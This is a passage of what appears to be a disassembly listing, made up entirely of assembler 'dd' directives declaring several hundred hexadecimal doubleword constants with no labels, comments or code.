0FED5691Dh, 5CEC02C8h dd 0EB67CC70h, 5C132F66h, 0AB4DAAD8h, 0E026A3A2h, 0F3E6E568h dd 0F9865E99h, 7F459A23h, 4BF6261Bh, 0A0C36B93h, 0E2A50C7h dd 0F9C9EB97h, 43280F1Eh, 0AE45C624h, 64476A56h, 827F7B6Dh dd 296BE59Dh, 0AC8A47FFh, 0F4261FFBh, 0AC2DBF58h, 16BFC2D6h dd 92C0BC64h, 0CF9071F9h, 7E8CBE12h, 9D72D0ACh, 0B6147E4Eh dd 89A7070Dh, 9828A510h, 78FC2E67h, 0FE72F532h, 17E4060Dh dd 0A913F085h, 99B7F5EFh, 2CAA211Ah, 7305F31Eh, 0E3635CF5h dd 8EE11A65h, 1595CF9Bh, 145FED10h, 0FBE1796Eh, 0F5B1F08Bh dd 7CFCE8BEh, 4699D910h, 0C5DA7F7Eh, 59E8B94Dh, 8E64E62h dd 0A140185Bh, 4F98760Dh, 5989A91Eh, 0B038C609h, 0EDD3AC8Ah dd 0E16F4Bh, 0B5341ABAh, 71FD7EF1h, 0C30CDEDFh, 51E50677h dd 569490C7h, 0B321B466h, 0EB699A00h, 55389F9Ah, 8118854Bh dd 66FE943Ah, 1412B8D8h, 621A3061h, 73030F05h, 40339E4Dh dd 947128E1h, 60B8E6AAh, 0C2710D5Fh, 0F914F424h, 85CF7358h dd 6A084C05h, 3904B908h, 2D0943C5h, 3941CE12h, 0D0F27FC3h dd 0E8452FCAh, 0C1222110h, 0F4BA7C8Bh, 31DE1E05h, 0B3709EAEh dd 8F88E754h, 7A8CB5CFh dd 34467EB9h, 49BAA8BBh, 77573F71h, 0C8B404C7h, 1ED7DB87h dd 831BDAA9h, 0FFDA659h, 4430DC58h, 8A8C1A72h, 2226BBA0h dd 37003545h, 15792453h, 809C3B99h, 74C9714h, 5F4AA5F3h dd 6E41B35Eh, 0F9F9FDCh, 43D4BEDEh, 8ACE0630h, 0EA2EF5F0h dd 0B790943h, 0BB8E5A73h, 69567D3Dh, 717323F8h, 0BCCADECAh dd 35998EC8h, 2490B4EBh, 0BD163D24h, 2F2EC158h, 43A6B5AFh dd 7BC4AEF2h, 54834A82h, 7A9F3DE9h, 5D5CDED5h, 2BBE05A1h dd 0FB01A422h, 0FE6A90C7h, 0C6FA68A0h, 219E18ADh, 0FD90E832h dd 0D93C6964h, 1D893932h, 40CCAF5Fh, 7B05F1B2h, 0D057215Ah dd 9B2D30B6h, 2A3E35h, 721063B3h, 729C511h, 28AB3E8Bh dd 0C1A74EF0h, 0B6614Dh, 9B912E0h, 55C1A99Eh, 0FF52D707h dd 4086CEB9h, 702B1473h, 360061E6h, 0ACBCB2FDh, 0E0EF0719h dd 0AC8A0913h, 0FBD3DDAAh, 0E3E635C8h, 0DDE2540h, 0C3F34EECh dd 0E3AD145Eh, 99941D01h, 0ACDF49E5h, 40291D44h, 4E1F88h dd 0D4DE57A5h, 0FC4F9C41h, 3B3A7B36h, 23B1B168h, 205841FEh dd 8DAE4E12h, 2B6BC9EEh, 381E89DFh, 0B5392860h, 30EA0A74h dd 4A3249Fh, 316B2D95h, 43648F06h, 0DC39DBD5h, 0E2ED4C90h dd 0DA9DD882h, 9371C82Dh, 0CC4CFAE2h, 0C4D82FBDh, 0A2F071C9h dd 0D28BEB60h, 9292E0Dh, 1163A312h, 6FBFFB0Dh, 0CA2479F0h dd 1569262h, 4F5770E8h, 0E7525503h, 51AA0C35h, 0EB3BE3Eh dd 0BC1E071Dh, 5086BBB7h, 85C99303h, 75A10B63h, 190880C6h dd 29F0669Ah, 3F9A68E4h, 0A6E9248Dh, 5F7D9840h, 1376946Bh dd 19AAE845h, 811746BBh, 3879F26Bh, 0B5520D19h, 25DDFCA0h dd 51338ADEh, 0C07247CEh, 4D9A1A80h, 9820BC41h, 9267FFB4h dd 6AC4727Dh, 964102A2h, 0ED9A5353h, 5A6CAC8Dh, 0AC15A092h dd 201134E8h, 52F4610Fh, 0A5E7B292h, 2F4A762Fh, 287E3BF3h dd 83CBC159h, 45A25FE0h, 0D9741297h, 90783DCFh, 455F62FBh dd 7D80A049h, 8E297E5Eh, 9035A311h, 6840A8BBh, 0DC7071F2h dd 929E59A8h, 51163DDAh, 626EFA12h, 0E132D041h, 49732130h dd 5212F746h, 8CB74BCBh, 84F19C33h, 74184564h, 0F1D786D2h dd 0A96B39Eh, 4DC886A2h, 87A80725h, 0B80BB20Fh, 0BB6F2465h dd 791774F9h, 930D4531h, 0B372A698h, 9E0BFFC0h, 7EA81F96h dd 592DB1BDh, 69B6A506h, 0BC95D362h, 3B1A67D9h, 1BD89032h dd 7D5629CBh, 67306641h, 0BE4AC1B9h, 0A6D728Ch, 0EC22FD7Fh dd 676916FBh, 4EF0B165h, 0BED86534h, 0FE6D0920h, 0EAC9900Dh dd 0F168A225h, 0A55FFBE0h, 0C5D03A30h, 0C41DA74Ch, 176B04B7h dd 67985D37h, 0FB0EAAFh, 60038AA1h, 6A7C2BFAh, 82D37F52h dd 614D34A7h, 41D2B4F7h, 9E075F4h, 59371391h, 2C3FDE6Bh dd 22A8DF5Fh, 0F207EDBDh, 74688A02h, 0D86EED56h, 1A1035Eh dd 1D9547B5h, 0F7FD3F39h, 7ABCC454h, 2AB9B4BBh, 9E5D2C6Dh dd 531962B6h, 0C4996B1Dh, 8ACD7022h, 40C8813Ah, 0D84D8994h dd 8D1EBA21h, 0E58DD2E0h, 0F0CA46D0h, 7FC94445h, 541C2045h dd 3B6D4AE6h, 0FA6C5814h, 0CB1DA253h, 0FA499A11h, 1FA9D67Ah dd 8C777922h, 0D0812706h, 8126EAD8h, 0DEDAA092h, 34DABBB0h dd 0C0A8067Ch, 568F7E11h, 0B64D68B5h, 0CDB2FB00h, 0B946DBA7h dd 1CF65840h, 59FE242h, 19EE3E3Bh, 0FD321B3Fh, 473098D8h dd 0BDD987EDh, 41BC291Bh, 8C5DE9EBh, 0BED5B53Ah, 1E6A1F87h dd 48783DE8h, 0C75CD31Dh, 7C73B5D8h, 699589B7h, 7264935Bh dd 0B473E07Ah, 9338F7F8h, 0F369BFAAh, 0F33D09A0h, 0EBF25282h dd 0B80A5E17h, 0D4530150h, 2FEA2847h, 0F5A0D3DCh, 3B790602h dd 0A0DEFD83h, 4A261596h, 0C3CBE2C3h, 7B3FFB87h, 0DCCBACF4h dd 0EDACD75Bh, 0A775AB52h, 0A62D811Ah, 4F50805Fh, 5AA75C14h dd 683F1916h, 1C350E7Dh, 5B722B2h, 77EB3869h, 7531047Ah dd 2063D737h, 3841FE56h, 8EBB35B4h, 0E6262838h, 46B4A6D6h dd 3A3FFF39h, 88A66F67h, 2C74D434h, 1792AD4Ch, 9BEA6AE8h dd 6AB085BAh, 0E6EBD0h, 3C4F78BAh, 0ED937868h, 0F13A39E5h dd 8F3D82FBh, 793348F1h, 0E588F18Bh, 0BC15C885h, 53683D89h dd 6F9FBC85h, 48824FA1h, 6533ABB6h, 7BFEE39Bh, 704EB621h dd 0C3286F7Eh, 12082E71h, 753B31D8h, 5A3A8BC4h, 262A6852h dd 41976CA7h, 9277710Ah, 87D489E2h, 588709Fh, 0FB65A80Bh dd 0D6AE049Fh, 120886EEh, 0D04FB7B8h, 0A4E11AACh, 0DFB04E07h dd 89BD2AD3h, 29D63A75h, 62854F6Bh, 4815861Fh, 0C87B0BD1h dd 0A7A18550h, 17CBF855h, 9316FA4Ah, 0FA09499Ah, 0CB0EEF01h dd 9ECCB3ECh, 301CC8BCh, 72274C80h, 0DBBE8FD1h, 4BFCC336h dd 0C5EF89ADh, 533BE6FAh, 4D142611h, 0F58776DAh, 79FD689Eh dd 0E48134D1h, 0BE81EB0Eh, 35665C6Eh, 33AF7B93h, 0A6FA457Bh dd 1A00201Dh, 0BC7E36EBh, 0EAD6F6D9h, 8EABD333h, 0CA0118D9h dd 2B03CC2h, 5F2F3F49h, 5338D320h, 14F36A7Eh, 469EE3E2h dd 0A9260058h, 0F6C88ED1h, 7F300F87h, 0C85DD64h, 873108C9h dd 0DF5C8237h, 4099A7CDh, 0DABDFC63h, 9022D3F1h, 5B1DC774h dd 7C475C7Ch, 0CC4432BFh, 0E21F4A53h, 0D80AF971h, 0CD96E400h dd 350FEC0Dh, 52E7D101h, 3E51B192h, 69E6F74Eh, 0CCA5B14Ch dd 4ED64164h, 0B68C9CD1h, 58B709DDh, 0B278D116h, 3384DE5h dd 0C5D469AFh, 6EFE780Eh, 4F549E5Bh, 6A6E2260h, 0A82B3F62h dd 4B540DB0h, 0D49AB840h, 885E9665h, 0B2E29E17h, 0DF4A52D9h dd 45517D8Eh, 0A788C339h, 0C7B7B805h, 744D5701h, 2081D4D1h dd 0B4546A6h, 516B8C4Fh, 4EC028F8h, 8BB40593h, 1E376A0Eh dd 7ECE986Fh, 0B49AC776h, 0EC1646D1h, 57A73CE1h, 2A1DC114h dd 0DFCB4605h, 0F70AE474h, 175D70DBh, 0C2643655h, 0A3ED3218h dd 0CC0A3299h, 0DF548107h, 10F6E704h, 0D9666D49h, 679F9DCFh dd 2BDBB50Ch, 1BBE4AB9h, 48D9892Ch, 6D1A48A1h, 4785C620h dd 0C6DBA405h, 1A9AEBF2h, 417A2E60h, 7310E76Dh, 552AAA2Eh dd 1426AED9h, 2E3B69D0h, 0CD3F5B3Bh, 37AEE143h, 0EED3A51Ah dd 27B4029Ah, 5B9AF260h, 0AD533829h, 0EB95201Ah, 0F213C27Bh dd 1C5A7D1Fh, 77C45CDEh, 9EE9646Eh, 2D2473C4h, 0B11D63D1h dd 0C6DEACE7h, 0C0DB9357h, 7FE56258h, 5CCB2FBAh, 3E5C3EC5h dd 0C23DF8CCh, 46108ECCh, 3418BD5Dh, 9F3BB7B6h, 0FBE79A6h dd 7B11F46Ah, 5B31F28Ch, 58B293D4h, 0E165058Bh, 5E7BB1D6h dd 857AAA51h, 0FD238BB6h, 6C52265Bh, 0F6921961h, 0AF5FF358h dd 0E2CA39FAh, 36C81EB5h, 0BAAE100Ch, 81863A75h, 0DC456289h dd 631265EBh, 0F37110E7h, 1E471A75h, 0A5848C70h, 41C5D65Fh dd 5E7336B0h, 19E41C22h, 923EB988h, 738C00CFh, 7CBD9EC3h dd 0AC5E2527h, 22D25BC2h, 0D907A8ADh, 42494DF7h, 0C070C2D2h dd 80D2752Dh, 0E5876EF7h, 291EDA15h, 0A858B78Bh, 3867993Dh dd 5F2976B9h, 0C00862D0h, 0B943E262h, 0EB8A8B5Bh, 0FDAE65EFh dd 0A8FC9CAAh, 442C8F2h, 6A296F08h, 1BF54F36h, 0C6283E8Bh dd 54F3C58h, 7C2B8132h, 4F58CB8Dh, 5B77848Ah, 6CADC7BDh dd 0C422C59Fh, 0C562BBEFh, 67F91F8Ch, 35D84664h, 0C4DD8CEAh dd 149B5025h, 0D3C922B7h, 8417207Eh, 16CE62C8h, 0A6506D05h dd 0BB4219D6h, 0D05DFF89h, 19E0D6E6h, 0BE0AE360h, 1254713Fh dd 86969BB5h, 6BE5BCE5h, 78BC5969h, 4F81D9FBh, 1F60F6C4h dd 5F6253ABh, 0C6650E1Ch, 0B38B3FCEh, 595A1485h, 0CA64D5B7h dd 0F2E307FAh, 7DDCE8B1h dd 66850ADAh, 172C2564h, 0BEC51EA0h, 2A0B4F21h, 7B22978Fh dd 31088A56h, 0EBF2A33Fh, 986D0F71h, 4BF285B4h, 2E870E56h dd 3ECFBD6Dh, 0EF7AC2B7h, 32131C65h, 1F97A02Fh, 0E8315F43h dd 1DBE26E7h, 82DB9D19h, 54BC7131h, 6C19262Dh, 0A090D97Fh dd 0A58583E4h, 4DCFBC9h, 6045FCDFh, 0B7F037D7h, 11B39DABh dd 8049D10Eh, 2BD23CF4h, 78893CCFh, 8BE207D3h, 0A0FB8AAh dd 4EA730DAh, 7247EE9Ch, 0B932C10Ch, 0EAE66038h, 0C3E39067h dd 0D8CA6219h, 0F8377AC8h, 1DFCBAh, 4515F370h, 93F027C7h dd 0B1D2C798h, 86400E47h, 9818B1B5h, 0BB00B279h, 48134465h dd 0D1F8C823h, 338D2119h, 631DCCB8h, 4A3B142Eh, 27F10C98h dd 44B9F77Ch, 4DDBD0Eh, 92CE408Eh, 0FDE64056h, 0EE969B4Dh dd 0EB679D12h, 7C70C545h, 982C1CADh, 5B40CA51h, 0DB5EB05Dh dd 0C859B4B9h, 0D68794FDh, 8F23B2DAh, 0D08D1CFCh, 9305EB80h dd 71C661CAh, 0BB63D24Dh, 4EB40A6Fh, 8A429DC3h, 71541F0Ch dd 0D09C3FB2h, 0CE28AA56h, 0E4C06374h, 29DBB520h, 0F294BA23h dd 0F2907565h, 1B32A402h, 0EF18CE2Ah, 2718DAE9h, 0F296F9EBh dd 43710582h, 0E5C78A6Fh, 0B6A787A2h, 99A9B86Bh, 432C616Eh dd 230FBBD9h, 0F290C4F5h, 0CDF3A6C9h, 0DFFCBCF2h, 2DD046B2h dd 643E3D88h, 0A715EDD9h, 0BE5FC4DEh, 8A9444FDh, 0B6D38BABh dd 99086A35h, 0F0E7EDC3h, 6278667Ah, 76062026h, 7A201F38h dd 2602C790h, 322CED30h, 0A35347EBh, 3AFF40F3h, 772E71CBh dd 0E6765A3Ch, 0A808F52h, 66C96E74h, 0B8EA43C2h, 0CF00B3D9h dd 8632600Eh, 0E00B75A8h, 2C2E2345h, 0FDF2DFF1h, 49B193AFh dd 0E9E2760Ah, 0F78DF74Ah, 6F434D8Ah, 0EEEF8DFFh, 0D6A53BA8h dd 8EB17A34h, 0F2899B87h, 0E52596BDh, 101BD672h, 38588130h dd 1C6A9A7Eh, 7B556887h, 0B2D8CE56h, 0B5A19F02h, 0BF004F09h dd 6692CE9h, 404F35B5h, 6F56B4CCh, 0EFFEA215h, 87CDA8A0h dd 8DB207E6h, 0AB915EA8h, 22E40803h, 0AC44D4BCh, 977C1C34h dd 61D1107Dh, 0A47B3C5Dh, 0E44FF089h, 50B0648Bh, 6BE4A234h dd 129901CBh, 0F4B440CCh, 17E2E11Ah, 6E75BD82h, 7C0B2FA3h dd 5D66D078h, 802B9AA6h, 8982931h, 0BCCAB302h, 0EB66AAEh dd 2FEA542h, 44C3FEF7h, 0BDE166E5h, 0EECCA96h, 5D5C691Dh dd 0F7ED9925h, 4C656644h, 6F7F4B60h, 622EACB9h, 0C604BFFAh dd 6476E49Ch, 0B1C85930h, 6F7017Ch, 991BF776h, 34A084DDh dd 0C6FEA344h, 4A4EF4D5h, 5C9B1B3Ch, 0E87A754Bh, 1BC32250h dd 877964A0h, 0FA216859h, 3670614Eh, 0AC09FB96h, 93559BDEh dd 1AD9DD15h, 6A1AE96Dh, 101E8270h, 0EB904592h, 0D8471A42h dd 0C1DEDB9Fh, 0FC5BDE0Ah, 0F93C6475h, 13F842C6h, 0E1B5BCC4h dd 8238BDCh, 0F6A0E9F2h, 70F582CAh, 4EA2096Eh, 0ABEFC9B4h dd 45BC158Ah, 9FF1239Eh, 26C7D599h, 4C3A96F9h, 0FE698A11h dd 0CDC0833Eh, 0E8160818h, 0E2460928h, 678B2C13h, 0FF9012F1h dd 95CBC2E2h, 0E94B77FAh, 0A7FA43A7h, 8323CAB9h, 9EB73607h dd 44E07E15h, 0AEB22454h, 5636EC35h, 0E83B3C4h, 30E93BC3h dd 23822E59h, 13CB24DAh, 7F1FD534h, 0F050A90Ch, 0E4618C74h dd 0E9C89E08h, 0BB803AE8h, 0EBA2B46Ah, 1EF479F0h, 0BAA0219h dd 15C36C67h, 50C6AA68h, 0CD21700Eh, 59358C08h, 94C51FF1h dd 1036F6B6h, 7043BAD9h, 0E905D9DFh, 0A6B80900h, 4AFBC4A4h dd 0C0E25610h, 3A4A1711h, 8F7D5DDAh, 2027FA78h, 73835BAFh dd 0D7E1F270h, 0B93C4AA0h, 0C020B489h, 200FC9E6h, 0BB2F6FFBh dd 9A14DAB7h, 77B270C8h, 0B3136632h, 26CAAB88h, 8B825E1Eh dd 90CE247Bh, 5EC97CE4h, 5118BDF5h, 0BC29820Ch, 0DE01E5E4h dd 0A7A3A209h, 0CD030A21h, 0A56D59B1h, 98F3D00Ch, 23CD3FE0h dd 0E7216B8Ah, 7B5B54C3h, 18B773CFh, 4000D3E5h, 0D6A8ABB2h dd 26CDDC60h, 24A56DCh, 0BD3EFE6Ch, 0BF11775Fh, 0F14E762h dd 640C04F4h, 3CF75F42h, 0FDD8F283h, 72689ECFh, 22873A2Eh dd 672F6F48h, 2A1CFDC8h, 18EDCB96h, 73CADBAAh, 60EBF0F6h dd 2342C5B0h, 0B437440Fh, 0ACF1F416h, 6B4063Ch, 91CA5446h dd 89E4BC1Dh, 0F392694Eh, 3321FC44h, 0AE6FC2D1h, 7E3A9A23h dd 6942F263h, 0C0BC4E46h, 281CCC5Ah, 4453FFFBh, 71C5788Fh dd 549E1867h, 0DC598F99h, 0F679C3FCh, 0A0840A54h, 4F67D57Bh dd 7AA2868Ch, 1502A962h, 1EB6B738h, 0D007903Ch, 0E9778D89h dd 0FDB0DFDCh, 113CB54h, 0A9F8E1DAh, 0B71F301Bh, 0E7F12D04h dd 0FC6D969Bh, 82F6B2C5h, 5D73FBCDh, 6A665F9h, 4138DD64h dd 0B8E33196h, 0A969DB3Ah, 0E32CAE6h, 1F6DDFDCh, 0D74C1F4Bh dd 0B7F62A9Ah, 89E34EF8h, 3DF0A53Dh, 34B1BCFFh, 144B866Fh dd 2FA1FF70h, 598C1282h, 0C39DDDF2h, 64F751E6h, 35DE4BB9h dd 8AC3B0EDh, 0FB912EFh, 3FD427F9h, 70931C33h, 9BE842F7h dd 517A4DACh, 21A88125h, 92259735h, 0E19B1553h, 9E5871F9h dd 0FD10C399h, 203834B6h, 0DC41CE37h, 4B00BF7h, 6BAD054Fh dd 0A4D92FD4h, 3D94A1DFh, 0E056F6A7h, 0A970F29h, 0D14AA7EBh dd 0DF214F08h, 87E1047Fh, 19C6A401h, 60304C0h, 88295DC2h dd 2DC8F59Fh, 0D513AF49h, 0A2BEFB92h, 0CF64446Fh, 82CFD7F1h dd 0E5C54Eh, 98C47D2Ah, 2461EA84h, 0E573304Ah, 5318393Ch dd 0A690F5E3h, 5F8FC658h, 96930525h, 0D7D1BA38h, 420122ACh dd 0B1ACFF00h, 0BB7BAF3h, 0B6646371h, 29C62CDDh, 4A242101h dd 1750BED5h, 0BBE4C04Ch, 0EF6191DBh, 7BBE614Eh, 407EF2Ch dd 41073CD5h, 0F9F01578h, 0AC57F766h, 100BC960h, 18899253h dd 0BD76CCBEh, 0C0F31E41h, 3B90477Bh, 0DCB18AAEh, 64B032A2h dd 22AE0B6h, 47BDB180h, 65FD9791h, 4643BA27h, 7FB68015h dd 0E14A5B7Eh, 3C8DCB94h, 0EB2948D5h, 1E33077Bh, 0E13B7528h dd 0EEFD82D6h, 0F6F4145h, 64DD41A8h, 0D6DBF747h, 0E57F0B8Ch dd 9F07445Eh, 0FD546C4Fh, 1C53A002h, 38B97077h, 0E08E3CD8h dd 6DAB6360h, 3088C4ECh, 0EC78703Fh, 0AACD8596h, 33DB9AE2h dd 0CEB18FBDh, 497DB5A9h, 95C55A3Eh, 41A2B38Dh, 0BBFE1E9Fh dd 0C92F9430h, 0F24BC48Eh, 0A971CBB6h, 917548C8h, 98622A06h dd 28939C3Fh, 9A4A4C1Ah, 21ABBEE9h, 0B15D722h, 0B67B45A9h dd 0A58B2560h, 9E5E4888h, 0F2B56667h, 71B4EA93h, 0CEC1084Bh dd 0A5CFFDDBh, 6B728237h, 3C7B85D9h, 798F3DCCh, 6AB50641h dd 0E119BFBFh, 66B97ECEh, 0F8519D6h, 0AC670583h, 0F3A31405h dd 0DD0B483Eh, 7A56E2CFh, 0B7F2871Fh, 0E1DB7546h, 0D29C0EA8h dd 0D055B787h, 0A94F29DEh, 0BDCC4CEh, 2ABE3733h, 75A28150h dd 45E9DEBh, 0B558EBBAh, 2F9C18Eh, 0D89E541h, 0E76387ACh dd 7614F774h, 0C740AE44h, 39213971h, 2DBEBE99h, 0C13F4319h dd 7946679h, 9635BF34h, 0C9D85F1Dh, 7D89D7D8h, 51D57AA5h dd 8AE410C7h, 79BEC86Bh, 0BEA44EC6h, 28ACB3A3h, 0ED8BE9AAh dd 30DAC36Ah, 0CD71E60Ah, 928F466Dh, 0B54350F9h, 2EBAEDCBh dd 2A100597h, 9C15C6A5h, 86879920h, 0EF3D2D06h, 92DA62F6h dd 5313551Ch, 0AB4500FBh, 5E3E04EBh, 0CC942912h, 4BC5D02Dh dd 0E0468A47h, 0A1F7A1BAh, 0B114AAFCh, 88160E79h, 3A69EE5Fh dd 0E8D764E0h, 0A4FF91EAh, 0CF9199B7h, 0F8E0E79Ah, 0E0477AF0h dd 0EA0F946Eh, 8B7B676h, 12472299h, 84A987EDh, 4FB28C21h dd 0A4A4DAE4h, 78ADC10h, 0C7B45371h, 4AE1C970h, 9BB06291h dd 39457E3h, 0F5F78076h dd 0B2AC586Bh, 0A6FDE88Fh, 0EEB42722h, 6C72E896h, 179E0D37h dd 7DC33B71h, 0F0AB7BA7h, 8F0AB2A8h, 839F7D95h, 0B47A21C6h dd 0B664BA49h, 0FFE8817Fh, 5CE1077Dh, 648FCDA5h, 0D490FCBAh dd 52FA0BBBh, 6EC0B9BEh, 55B7E809h, 4C5F6271h, 0E25E5292h dd 2CB67C8Ch, 499D9FCCh, 2D870A67h, 8E919010h, 0C5160C7h dd 20AEB5A4h, 0D642367Ah, 0CDCBC739h, 68D532BEh, 8F1943ADh dd 7A0B2BBBh, 598FA769h, 5CA896B4h, 3F25795Ch, 0CBCEA9FAh dd 50E3279Fh, 1295C666h, 0A49288C8h, 2207D778h, 949CDE5h dd 8DC8215Eh, 9D4FF3BEh, 0A9A9C0BEh, 398CB14Ch, 6737A259h dd 853FAC3Fh, 952E6E70h, 0EB2FC7B1h, 82189119h, 0D74AFBC1h dd 2A83509Ah, 0AB3E2B5Fh, 9AAE105Bh, 8B376233h, 4DCB36A7h dd 7FD6A5ACh, 943B7D07h, 14AC01EDh, 0C0FF8F34h, 83552A31h dd 538D573Ah, 0D7856D45h, 984043A9h, 0B9AF8C1Eh, 0FF2A96FDh dd 10F4A7C5h, 5A67C884h, 8402172Fh, 0FE5E14DDh, 49F25F34h dd 53386A66h, 0E07D1D1Ch, 5E189B6Bh, 62B37442h, 7ABD5E50h dd 6A337BA9h, 5AB46B51h, 54DDC1CDh, 5422EFCBh, 77B7F70Eh dd 1EB103E3h, 0E9A52414h, 0A37BBC66h, 0E42F23DBh, 42C2267Bh dd 1E3BC877h, 9E0BCD0Ch, 400E96C5h, 0CDCE1B6Ch, 0DF99D5EDh dd 5891A830h, 0C9FE0E80h, 0D13833B1h, 885127C2h, 58D66ADh dd 3E5EB0C4h, 8613CCD0h, 0AAF0AA88h, 9B51B9BFh, 7DE406BDh dd 2D3C59D6h, 1A97D91Bh, 7E2694CDh, 5E044168h, 638FC013h dd 0A126DB24h, 0B63194F2h, 0C3E36E05h, 0F5DDA69Fh, 832FDA8Bh dd 724EB8E7h, 8A8F3B35h, 31AB431Dh, 2DF33859h, 53DE28EBh dd 76F45221h, 51EB8FC3h, 3737EC4Ah, 0E779628Ch, 0DFC51F4Bh dd 0DA804E85h, 0E4A272B8h, 0DB3E14E8h, 3B545DD7h, 0B6816852h dd 0A1FE9000h, 462DE63Ch, 14C8DB55h, 0DC2191CBh, 81A2FB6Ah dd 0F336FECh, 11A8A53Eh, 302A16CEh, 34EE777Dh, 0AEC215BEh dd 387BCC12h, 0B889772Fh, 0F3DBA466h, 5C468BA7h, 0A5B9D3E8h dd 93A2709Bh, 966715E2h, 67AE8917h, 83837C6Ch, 509D1A67h dd 7CCB7C27h, 0D94D10F5h, 0CD043829h, 21C5BCFFh, 97E189C2h dd 8B09DC4Eh, 0AD7D240Ch, 7F2C1DAh, 3A98596h, 1BBDC277h dd 49F34896h, 0FC0ED700h, 0ABE22C69h, 2C6E9655h, 541C2EC2h dd 6F8E9C60h, 1135118Dh, 0F168F6BAh, 16F7127Ch, 0F9B9947Eh dd 51436D2Ah, 72B71668h, 0F64D1598h, 0D113A80Ah, 0E275A72Eh dd 49EF1836h, 0AA2C8379h, 98B40B7Ch, 8D4960C2h, 0C97FD582h dd 0A50B437Fh, 312FE635h, 5E48E459h, 4BD8ED3Dh, 67AE5EAAh dd 3533EC8h, 0A103F00Ch, 0C46AD660h, 22F097A2h, 0EF6C9E9Ah dd 39013B34h, 5F8D9C7Ch, 5774AA0Eh, 0D0D038C4h, 9E5B8A4h dd 236697B0h, 0AF8B40DBh, 0FAADAB61h, 0F5613B2Eh, 0E408C5D9h dd 82742725h, 784CFB39h, 4B4A32F6h, 8B6B9h, 0AA4CE60Ah dd 5A5CF28Eh, 95428B4Bh, 0A54939D8h, 0E96C0FFEh, 0C7C9F4A4h dd 0C9F1682Dh, 0B0D7BEE5h, 0FE29E4D1h, 0BF337037h, 0D11B85A9h dd 7438B57Ah, 0F9013DC2h, 0D637239Fh, 0AABADD84h, 0D0EBC1CDh dd 4AF0DAC2h, 1DAD492Eh, 2311CBAh, 0BFA47F1Bh, 27B6F4DCh dd 7835B23Ch, 0C2FB78ACh, 9DD2E305h, 5A145699h, 0E7C84DCAh dd 5C6722BFh, 0E17717FEh, 9A479186h, 0D873DE37h, 7D72F830h dd 0D8E68535h, 24E66812h, 197B9FD4h, 86A6DAD4h, 60016EDFh dd 0BEE56007h, 0D0917364h, 186F6C32h, 7839FC20h, 0C0E154h dd 95E9FDE3h, 0A704C20Eh, 67C242C6h, 0E78BF28Bh, 2EC405D5h dd 55B55741h, 0F2C2912Eh, 0ED9EBC85h, 0EAE9C56Eh, 62735FE6h dd 0C431457Fh, 82BD933Eh, 0BD2E22A3h, 895B41C5h, 3172EB23h dd 0F32F5264h, 0E549E54Fh, 0D0C259EAh, 62201BC6h, 0B4B3B15h dd 938705FDh, 8F9A7F54h, 0FBA6F2AEh, 9CB4F11Bh, 886E8759h dd 88B6942Ah, 6AC75096h, 7215C9A3h, 0B53DDE77h, 42889EDCh dd 72CE4CD2h, 42B7FDFh, 0FDCD2343h, 3E277491h, 7F6528C2h dd 0AC72BD5Bh, 5C705041h, 1B2BE4ADh, 65DA18D3h, 78425C04h dd 467F38CEh, 0A0217E10h, 483161Ah, 81E7729Ah, 51B96032h dd 0B224B091h, 87C7512h, 0FDBE7939h, 0B95C83C3h, 85AA038Bh dd 9623A007h, 0EFC26D95h, 47F8E4A8h, 117FA8C0h, 0A73304E0h dd 4F1AFFC7h, 0A671A099h, 0C7F530C8h, 0B7535F4Dh, 0B939BD94h dd 44F8AE2h, 8FC1CDF7h, 19E0A554h, 527A6B1Dh, 212B64B8h dd 5F99E75Fh, 3A7CD6ECh, 3E5FADD6h, 0B48B6F3Eh, 0AC0C4D14h dd 0CF16737Ch, 0E268544h, 66E4F8D9h, 0E417D1B3h, 7FE197Dh dd 0F4EBD916h, 19B8C226h, 33BFB575h, 295FBD38h, 0B08637AEh dd 0FC2171F0h, 0E65D082h, 76A772E1h, 0AD3D82E7h, 0F0D7561Dh dd 0C72A8FC7h, 5878189Dh, 5515CF45h, 590DE3A8h, 32F63FECh dd 44F28BA4h, 0C2955556h, 8BD0998Fh, 0D787F87Ah, 3C977288h dd 4C2437D9h, 18EFF2A5h, 5DCEDAB6h, 8FF60844h, 911964B2h dd 0FEACC427h, 0A1DA9F5Bh, 522A55BFh, 0F34ED0C5h, 0E691DEEDh dd 66CFA82Fh, 0B5F603D7h, 18E7D991h, 38A62D67h, 39D08835h dd 298A7C70h, 0C7157A6h, 1C854A88h, 31A78E69h, 611C8583h dd 2F848080h, 0B0D608h, 0AEE5D20Fh, 9076F879h, 4DC0F3FEh dd 491B2CF1h, 74EDCC8Bh, 562A345Ch, 0E0A284E1h, 0A5CDB1B0h dd 0ACA9BE9Ah, 41C0FF4Bh, 64633A11h, 0C2771015h, 456A4198h dd 8AD3BFD2h, 667980EAh, 6FBAEACFh, 5FBD442h, 8453A20Dh dd 84554E58h, 6D37C148h, 0DA5503F4h, 0BA4F633Fh, 8E535FEAh dd 0DED65D3Ch, 1525EF95h, 0EC965457h, 0F9CCCD8Ah, 4E892F50h dd 137299BFh, 3C759430h, 9A409810h, 5E741E53h, 278D7712h dd 0F77B0702h, 119189F1h, 0B8399E7Fh, 0B47B1560h, 60800CC3h dd 56E9A2F7h, 59AB0CA3h, 0C018B8F5h, 256DF2FDh, 0A1C2F97Fh dd 0AAD84BA7h, 62D2B520h, 0DB79DC99h, 2D10E419h, 0B985C3CBh dd 4239C8F6h, 0F37B5CBFh, 0A28DE349h, 58FA508Eh, 5D0E5F6Bh dd 8E0D605Fh, 0FC45A676h, 9664C0E5h, 49D39358h, 9D07CF17h dd 2D0BDBD6h, 84F22FD1h, 9053401Fh, 6E674834h, 0B29E52DDh dd 80A6887h, 0FFE34E3Bh, 0ED4C9D5Dh, 0C98DFE06h, 5650D560h dd 1EBE5108h, 0A24C78C9h, 0DF2743DDh, 0A40876h, 67B5B03Ah dd 0C58F1F6Ch, 2495B589h, 0F0DFDFC8h, 0D479D7D3h, 0BB1FFD19h dd 7EC8D3CBh, 0BB8E25CEh, 0ABE26ABEh, 0EB8220B8h, 920C6BB9h dd 0A30DD43Eh, 70CA7846h, 0F487CDE6h, 0A89CD07Fh, 0A75C352Ch dd 41BD9C43h, 444E8916h, 0FFE4C77Bh, 7D8A2B47h, 0C7F7E1BFh dd 0E73B95FBh, 0D0AEAFBFh, 0B13532B6h, 44FF4924h, 993DEE0Fh dd 35BED277h, 6EA9AD0Ch, 6B55194Bh, 0BE4C3AC6h, 0E23FDBCFh dd 39540D41h, 0CA7F6C85h, 0C95C6C0h, 9279595Fh, 92CCB3ADh dd 0BA400053h, 67556B87h, 37EB890Dh, 0EBC85861h, 0AD77B2F7h dd 